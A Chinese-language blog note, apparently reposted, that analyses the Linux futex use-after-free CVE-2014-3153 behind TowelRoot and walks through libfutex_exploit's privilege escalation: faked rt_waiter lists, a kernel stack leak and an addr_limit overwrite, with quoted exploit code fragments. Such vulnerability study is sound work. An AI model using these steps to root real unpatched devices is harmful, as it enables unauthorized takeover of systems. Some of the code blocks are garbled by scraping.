CVE-2014-3153笔记
CVE-2014-3153可以說是相當經典的漏洞,影響范圍相當廣泛。這實際上是一個Linux內核的Use-After-Free漏洞,利用得當可以轉化為任意內核地址寫入。Geohot的TowelRoot也利用了這個漏洞,在當時(以及現在)能夠Root(或Crash)絕大多數Android設備。由于工作的需要,收集了該漏洞的一些資料,并且對漏洞原理和利用方法進行了一些學習和分析。
參考資料
以下是收集的資料:
個人覺得NativeFlow的三篇文章詳細的解釋了各種細節以及利用方法,包括使用模擬器進行內核調試、問題代碼補丁地址、Crash PoC以及圖示。天融信的文章結合了NativeFlow的三篇文章,并加入了自己的見解和分析,也挺不錯,就是排版稍差。pwntex是NativeFlow給出的Relock和Requeue的PoC,而CVE-2014-3153和libfutex_exploit則是兩個可以在Android上獲取Root權限的PoC。
漏洞原理
以pwntex的requeue為例說明這個漏洞的過程。
此時會進入系統調用futex_lock_pi,執行的正常流程,B中的內容被設置為線程的Id。
這是在main創建的新線程中,進入系統調用futex_wait_requeue_pi后,初始化一個futex_q結構體和rt_mutex_waiter。然后調用futex_wait_queue_me在A上進行等待,此時futex_q會被加入到A對應的hb->chain上。
進入內核調用futex_requeue,接下來會走到futex_proxy_trylock_atomic,然后調用futex_lock_pi_atomic。在futex_lock_pi_atomic中,由于B已經被鎖住,流程走到lookup_pi_state,lookup_pi_state內部會創建一個pi_state,并且掛入task->pi_state_list。這個是新線程的task。所以,此時線程2的task結構中的pi_state_list掛上了一個pi_state。然后返回到futex_requeue中,嘗試把A上的futex_q轉移到B上。在這個過程中,會取出futex_q中的rt_waiter,添加到之前創建的pi_state的pi_mutex鏈表上。
在用戶態解鎖。
再次進入futex_requeue,此時futex_lock_pi_atomic會成功獲取鎖并返回,然后分支會走向 requeue_pi_wake_futex,嘗試喚醒等待的線程。 requeue_pi_wake_futex的代碼:
C
| 1234567891011 | static inlinevoid requeue_pi_wake_futex(struct futex_q* q, union futex_key* key,?????????????????????????? struct futex_hash_bucket* hb) {??get_futex_key_refs(key);??q->key = *key;??__unqueue_futex(q);??WARN_ON(!q->rt_waiter);??q->rt_waiter = NULL;??q->lock_ptr = &hb->lock;??wake_up_state(q->task, TASK_NORMAL);} |
此時線程2被喚醒,代碼如下:
C
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | /* Check if the requeue code acquired the second futex for us. */ if (!q.rt_waiter) { ??/* ?? * Got the lock. We might not be the anticipated owner if we ?? * did a lock-steal - fix up the PI-state in that case. ?? */ ??if (q.pi_state && (q.pi_state->owner != current)) { ????spin_lock(q.lock_ptr); ????ret = fixup_pi_state_owner(uaddr2, &q, current); ????spin_unlock(q.lock_ptr); ??} } else { ??/* ?? * We have been woken up by futex_unlock_pi(), a timeout, or a ?? * signal.??futex_unlock_pi() will not destroy the lock_ptr nor ?? * the pi_state. ?? */ ??WARN_ON(!q.pi_state); ??pi_mutex = &q.pi_state->pi_mutex; ??ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1); ??debug_rt_mutex_free_waiter(&rt_waiter); |
由于requeue_pi_wake_futex把futex_q的rt_waiter清零了,所以流程會走第一個分支。導致了rt_waiter沒有從q.pi_state->pi_mutex摘除。導致了UAF。
利用原理
結合libfutex_exploit,說利用的原理。利用requeue和relock導致的結果是在pi_state->pi_mutex殘留了一個在線程2棧上的rt_waiter,使用sendmmsg之類的系統調用,可以控制內核棧上的內容。因此,用戶態控制內核棧中rt_waiter的內容。通過設置線程的優先級以及futex_lock_pi,可以控制pi_state->pi_mutex鏈表。rt_waiter的結構如下:
C
| 12345678910111213141516171819 | struct list_head {??struct list_head *next;??struct list_head *prev;};struct plist_node {??int???????????????????? prio;??struct list_head????????prio_list;??struct list_head????????node_list;};struct rt_mutex;struct rt_mutex_waiter {??struct plist_node?????? list_entry;??struct plist_node?????? pi_list_entry;??struct task_struct??????*task;??struct rt_mutex???????? *lock;}; |
所以,通過控制插入節點,即插入rt_waiter,用戶態可以泄露出一個內核的rt_waiter地址。適當的構造鏈表,可以利用插入向任意內核地址寫入一個rt_waiter的地址。NativeFlow的文章中的描述是“write an uncontrolled value to a controlled address”,十分貼切。
libfutex_exploit中的用法是,在用戶態創建兩個偽造的rt_waiter,并設置他們的優先級分別為13和13,然后將這兩個rt_waiter連在一起:
C| 1 2 3 4 5 6 7 | static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters) { ??rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9; ??rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13; ??plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list); ??plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list); } |
然后通過futex_lock_pi插入一個優先級位于9和和13的rt_waiter,企圖將rt_waiter插入到偽造的鏈表中。如果插入成功,用戶態可以拿到內核的棧地址(這一步只是探測):
C
| 12345678 | setup_waiter_params(rt_waiters);magicval = rt_waiters[0].list_entry.prio_list.next;do_futex_lock_pi_with_priority(11);if (rt_waiters[0].list_entry.prio_list.next == magicval) {??printf("failed to exploit...\n");??return false;} |
這個泄露了rt_waiter的線程對于提權至關重要。通過這個內核棧地址,可以計算出這個線程的thread_info的地址,方法是用棧地址和0xffffe000進行AND運算。而修改thread_info->addr_limit可以控制線程范圍內存的范圍,只要大于0xc0000000,就可以訪問部分內核,修改為0xffffffff則是整個內核空間。
插入鏈表的最終實現如下:
C| 1 2 3 4 5 6 7 8 | static inline void __list_add(struct list_head* new, ??????????????????????????????struct list_head* prev, ??????????????????????????????struct list_head* next) { ??next->prev = new; ??new->next = next; ??new->prev = prev; ??prev->next = new; // write kernel. } |
libfutex_exploit利用的方法是,用戶態構造rt_waiter鏈表,然后修改了第二個rt_waiter的prev修改為另外一個線程的thread_info->addr_limit。這樣在內核執行__list_add時,會把prev指向的地址當作一個節點處理,會向這個地址寫入一個rt_waiter的地址。也就是說,把某個線程的thread_info->addr_limit寫入了一個內核棧地址,所以寫入之后該線程能夠訪問一部分的內核空間。libfutex_exploit中對應的代碼如下:
C
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | pid = do_futex_lock_pi_with_priority(11); magicval = rt_waiters[0].list_entry.prio_list.next; hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffe000); pthread_mutex_lock(&is_thread_awake_lock); kill(pid, SIGNAL_HACK_KERNEL); pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); pthread_mutex_unlock(&is_thread_awake_lock); sync_with_child(pid, &do_hack_tid_read, &did_hack_tid_read); setup_waiter_params(rt_waiters); rt_waiters[1].list_entry.prio_list.prev = (void *)&hack_thread_stack->addr_limit; do_futex_lock_pi_with_priority(12); |
在有漏洞的機器上執行完上述代碼,pid對應的線程就具備了訪問內核地址的能力,可以進行提權和Patch。為了能夠訪問整個內存,有一種利用代碼是不斷的嘗試去修改addr_limit,直到有一條線程能夠修改其他線程的addr_limit,然后改成0xffffffff。libfutex_exploit沒這樣做的原因是,內核棧地址一般都比較大,修改完之后,線程已經能夠范圍內核的代碼空間。libfutex_exploit被用在android_run_root_shell中,android_run_root_shell使用了統一的接口進行漏洞利用,均是企圖修改ptmx_fops_fsync_address來執行內核代碼進行提權,所以這樣已經足夠了。如果產品化的話,還有很多坑要踩,Android的碎片化實在太嚴重。
斷斷續續看了一段時間,直到現在才把大部分細節弄明白,十分佩服發現漏洞的Comex和能寫出Exploit的牛人們。最后,UAF的利用,需要注意覆蓋和利用的時機,在IE里也一樣。
原文地址:?http://thecjw.0ginr.com/blog/archives/564
總結
以上是生活随笔為你收集整理的CVE-2014-3153笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 大并发服务器架构 大型网站架构演变
- 下一篇: IDA Pro ARM指令集和Thumb